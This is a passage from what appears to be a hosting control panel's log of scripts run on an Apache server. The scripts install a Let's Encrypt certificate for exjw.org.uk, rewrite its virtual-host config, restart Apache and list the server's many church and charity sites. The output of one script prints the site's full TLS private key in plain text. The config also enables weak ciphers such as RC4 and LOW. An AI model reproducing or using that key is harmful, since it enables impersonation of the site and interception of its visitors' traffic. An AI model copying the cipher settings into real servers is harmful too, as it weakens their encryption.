5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-05-06 13:50:15: 

chmod 755 /tmp/pkp756957; /tmp/pkp756957; rm /tmp/pkp756957

2026-05-06 13:50:15: 


dir=/etc/ssl/certs


2026-05-06 13:50:15: 

PUT: /tmp/pkp852143

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/exjw_www_org-uk.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-05-06 13:50:15: 

chmod 755 /tmp/pkp852143; /tmp/pkp852143; rm /tmp/pkp852143

2026-05-06 13:50:15: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/exjw_www_org-uk.conf 39

<VirtualHost *:80>
    ServerName	exjw.org.uk
    ServerAlias	www.exjw.org.uk
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/exjw_www
    <Directory /var/www/exjw_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/exjw/www_access.log combined
    ErrorLog	/var/log/apache2/exjw/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	exjw.org.uk
    ServerAlias	www.exjw.org.uk
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt
    DocumentRoot	/var/www/exjw_www
    <Directory /var/www/exjw_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/exjw/www_secure_access.log combined
    ErrorLog	/var/log/apache2/exjw/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-05-06 13:50:15: 

PUT: /tmp/pkp697395

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=exjw_www_org-uk.conf
TARGET=/etc/apache2/sites-enabled/exjw_www_org-uk.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	exjw.org.uk
    ServerAlias	www.exjw.org.uk
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/exjw_www
    <Directory /var/www/exjw_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/exjw/www_access.log combined
    ErrorLog	/var/log/apache2/exjw/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	exjw.org.uk
    ServerAlias	www.exjw.org.uk
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt
    DocumentRoot	/var/www/exjw_www
    <Directory /var/www/exjw_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/exjw/www_secure_access.log combined
    ErrorLog	/var/log/apache2/exjw/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/exjw_www_org-uk.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/exjw_www_org-uk.conf)= /etc/apache2//etc/apache2/sites-enabled/exjw_www_org-uk.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/exjw_www_org-uk.conf= 1'
fi


2026-05-06 13:50:15: 

chmod 755 /tmp/pkp697395; /tmp/pkp697395; rm /tmp/pkp697395

2026-05-06 13:50:15: 




2026-05-06 13:50:15: 

PUT: /tmp/pkp634627

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-05-06 13:50:15: 

chmod 755 /tmp/pkp634627; /tmp/pkp634627; rm /tmp/pkp634627

2026-05-06 13:50:15: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-06 13:50:15: Establishing a connection
2026-05-06 13:50:15: 

PUT: /tmp/pkp535102

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-05-06 13:50:15: 

chmod 755 /tmp/pkp535102; /tmp/pkp535102; rm /tmp/pkp535102

2026-05-06 13:50:16: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
                 alias www.exjw.org.uk
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
                 alias www.persianchurch.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
         port 80 namevhost youngrepairs.com (/etc/apache2/sites-enabled/youngrepairs_www_com.conf:2)
                 alias www.youngrepairs.com
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:23)
                 alias www.exjw.org.uk
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
                 alias www.persianchurch.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
         port 443 namevhost youngrepairs.com (/etc/apache2/sites-enabled/youngrepairs_www_com.conf:27)
                 alias www.youngrepairs.com
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-06 13:50:16: 

PUT: /tmp/pkp332685

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/exjw_www_org-uk.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-06 13:50:16: 

chmod 755 /tmp/pkp332685; /tmp/pkp332685; rm /tmp/pkp332685

2026-05-06 13:50:16: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/exjw_www_org-uk.conf	1323

<VirtualHost *:80>
    ServerName	exjw.org.uk
    ServerAlias	www.exjw.org.uk
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/exjw_www
    <Directory /var/www/exjw_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/exjw/www_access.log combined
    ErrorLog	/var/log/apache2/exjw/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	exjw.org.uk
    ServerAlias	www.exjw.org.uk
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt
    DocumentRoot	/var/www/exjw_www
    <Directory /var/www/exjw_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/exjw/www_secure_access.log combined
    ErrorLog	/var/log/apache2/exjw/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-05-06 13:50:16: 

PUT: /tmp/pkp333327

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-06 13:50:16: 

chmod 755 /tmp/pkp333327; /tmp/pkp333327; rm /tmp/pkp333327

2026-05-06 13:50:16: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt	5353
7b:be:45:d5:7e:73:34:f3:a9:b7:85:10:72:fe:bd:e7

-----BEGIN CERTIFICATE-----
MIIFADCCA+igAwIBAgISBYHY1yqc5nEXBHZBtToIlu4BMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNTA2MTI1MTQ0WhcNMjYwODA0MTI1MTQzWjAWMRQwEgYDVQQD
EwtleGp3Lm9yZy51azCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALLE
6TRW+LL+5p5M/Ve3TfAMzj3IOJpEavDWYfzUbZxYlIec/9TeHm5GenDYkdOFjV9R
3OK6s+UIDRAvZTAR6X9lA70+gTiR2YcJU1q4IPGithywrIwImLRr/+eyrdufsRiK
aU6mMhEUDM6pTVUyHtT05fslJbR+6cvYyTxty/rgrSJ4kPk4NhghErYqzN9d0rp9
e7ORphNi0vRg1WkvjTKWCtG8NNF0Z3g3TmGvI5BUu1e+nx/73LlS/yaJpTtp/SR7
rkaTqJgZOiqfRAQUDL/y8bC/Qte0DRWCpj2ESWYgJdaJaunMHNMbvkZqW50uVEAS
uiHbZYA849RuG99V3CsCAwEAAaOCAikwggIlMA4GA1UdDwEB/wQEAwIFoDATBgNV
HSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBR9lU1zC/xy
Ey3aZFObDesZe2/PUzAfBgNVHSMEGDAWgBQAtSnyLY5vMeibTK14Pvrc6QzR0jAz
BggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTIuaS5sZW5jci5v
cmcvMCcGA1UdEQQgMB6CC2V4ancub3JnLnVrgg93d3cuZXhqdy5vcmcudWswEwYD
VR0gBAwwCjAIBgZngQwBAgEwLQYDVR0fBCYwJDAioCCgHoYcaHR0cDovL3IxMi5j
LmxlbmNyLm9yZy8yLmNybDCCAQwGCisGAQQB1nkCBAIEgf0EgfoA+AB+AKgmy+MK
xjUSRlM/4GXxTxnZbhkIE8Qd2W15ALMSPFUnAAABnf2Nr+IACAAABQAJyMscBAMA
RzBFAiBFRcxJSOvTzwCAAZhRDQsKd+fwtYUCVrnFv2k6o5y4CwIhAOSBI+5y/8DX
DmAYltfZ+6PThr0DPbMtiKI5GwgXybsBAHYA1219ENGn9XfCx+lf1wC/+YLJM1pl
4dCzAXMXwMjFaXcAAAGd/Y2vyQAABAMARzBFAiAQajJKst5nVJD95BOQdc4ee4ka
EyutyCNVc6qYO8Q+cAIhAK9DmamLQWO+z73GHRu8bjamdJbPMk/D5QPywnR9L0th
MA0GCSqGSIb3DQEBCwUAA4IBAQCE1jr51gCTBjxmvPuDi6f9zWgXmP4P0G7Xm7L4
NcFUFi6caAaIFGlbAMxskjbiCKFBR/6mu4neqmVHPTUJLlhMi3EjHnjHxnSYi3n5
BsTEbDHy/1eKRgavkv7LYXP/zFm7qRm5smEPznFZS6aauYjwLiK6iwOSAY0Uj9Qt
zG0FRe/BI8kq+xS1OV2/4PnPbsgMV+x4WqGr8vxMuYjCQB6uLAbOWwrE2xFZWux4
TOoXYroRfUxq9SLBylnR4DyZheiLPggFxiY60JOldQzlIk3suSrozlZggNy7HX+t
jGOgarA2l2nA7k0jHDSKomcXpzPRVT5SZLNZWq+A8BPS1E3l
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCyxOk0Vviy/uae
TP1Xt03wDM49yDiaRGrw1mH81G2cWJSHnP/U3h5uRnpw2JHThY1fUdziurPlCA0Q
L2UwEel/ZQO9PoE4kdmHCVNauCDxorYcsKyMCJi0a//nsq3bn7EYimlOpjIRFAzO
qU1VMh7U9OX7JSW0funL2Mk8bcv64K0ieJD5ODYYIRK2KszfXdK6fXuzkaYTYtL0
YNVpL40ylgrRvDTRdGd4N05hryOQVLtXvp8f+9y5Uv8miaU7af0ke65Gk6iYGToq
n0QEFAy/8vGwv0LXtA0VgqY9hElmICXWiWrpzBzTG75GaludLlRAEroh22WAPOPU
bhvfVdwrAgMBAAECgf8Irc/JKG/F976oOfASv9N2it94aYkxYdfPRyt6rR6lL16Y
7b00vQGYohx0OX0kEOoVSOQnQlbnNVhIcOALB68FNytlBKPTrYorKLZ1jHroZNlN
+PywqyfjUVr2m5GMGBATRYBpmjpBvpLgmjMCXZEhoQtAJh/TETG2Rhk11dWjoXkQ
HVZ3esWH7GoC6t4nIv88ana8UwD8CmsJbm+9LtuSDyhcSwDEznb0czZ+n8/BspwN
ql/fqC0TvCq6cPNHrEprE/AIEQ779VBUQlBeLKz+cd/4QExtqxZyjkEHLrDMo8YE
r7LH3SRB5/X3kaQQUqU4U0oLnBHkCkRwWerRRKECgYEA6eQIRJ1wnO0I/SuepQGb
X2Ga4EKRPEzlLqQbw7/Iyur4VhG+q6wWWI/inR+G8gcc8V8osNSF5G/oh67Vn1dr
F6IOmnCzHkihuigqbHWQZnCEQdi7+HDNK8NJEwBDQ4Wo1m3nyncJ9Kph9PmXDboK
pEBxeJsyR9VcJfgYiNtpuZECgYEAw6r7K8l5IE7MtcdlcuxhM8MjpBc03A8i9Rt2
K5PQK2bAutEw5gjsYFQEuzm910y0qNhvsSpyALUtiGg8HUnqUIC4IzzHJTeUrBzp
EUO3t3BCTwdwhffEtb2d4m8dn0OXpeaEJwMh6s93f2gq0/ttW0D33qwNuxV8YZqg
oTIgu/sCgYEAoZF8hKmdmUnE4962AJZTllf+fNx/J4CW8Nk8tMRPGJ2oXwxzAnQm
G5eJm7Cjr51qSPLLURv+QgdsQg5sU144BGNWYylnEoxp7AbDB5lO3vTq5/GoJ78E
fC6y1AViccprD3VsoVgJ8JGiiW/BASJ7J2u89ut+mFCzDyeLCz9GkYECgYEAqIjg
eVG7TBGzj6tk/X0PKGefjloSxK0g/iAeQ+C4gHmr7f37cVgkScB0ptNQal7+iSSL
5/zYXzWvN3wYs12UPqzwbiGOosbh/vGT6rP6TT2bT7jnuey0+ZmOoZf12tV8jIAm
OfgfwcHbetk9coNxKRWnqptl5EvYa7WlP9MOkPsCgYAtI5CCegrD/lmtVdaO55Q6
mlsqFHQ699JLZi2wC2QdEkPJcwuIMRWd37ip58gD/PJHiEoVcrGyrIo4JgT/k1jB
gyFbBPq03NUzAOM3qTF5icGkTG5GIiYs1up8ZI6ao8blB7PlgaCO9KX9j/MfM4Fd
ftMvqC2+Ia37FHG83O2Ozw==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
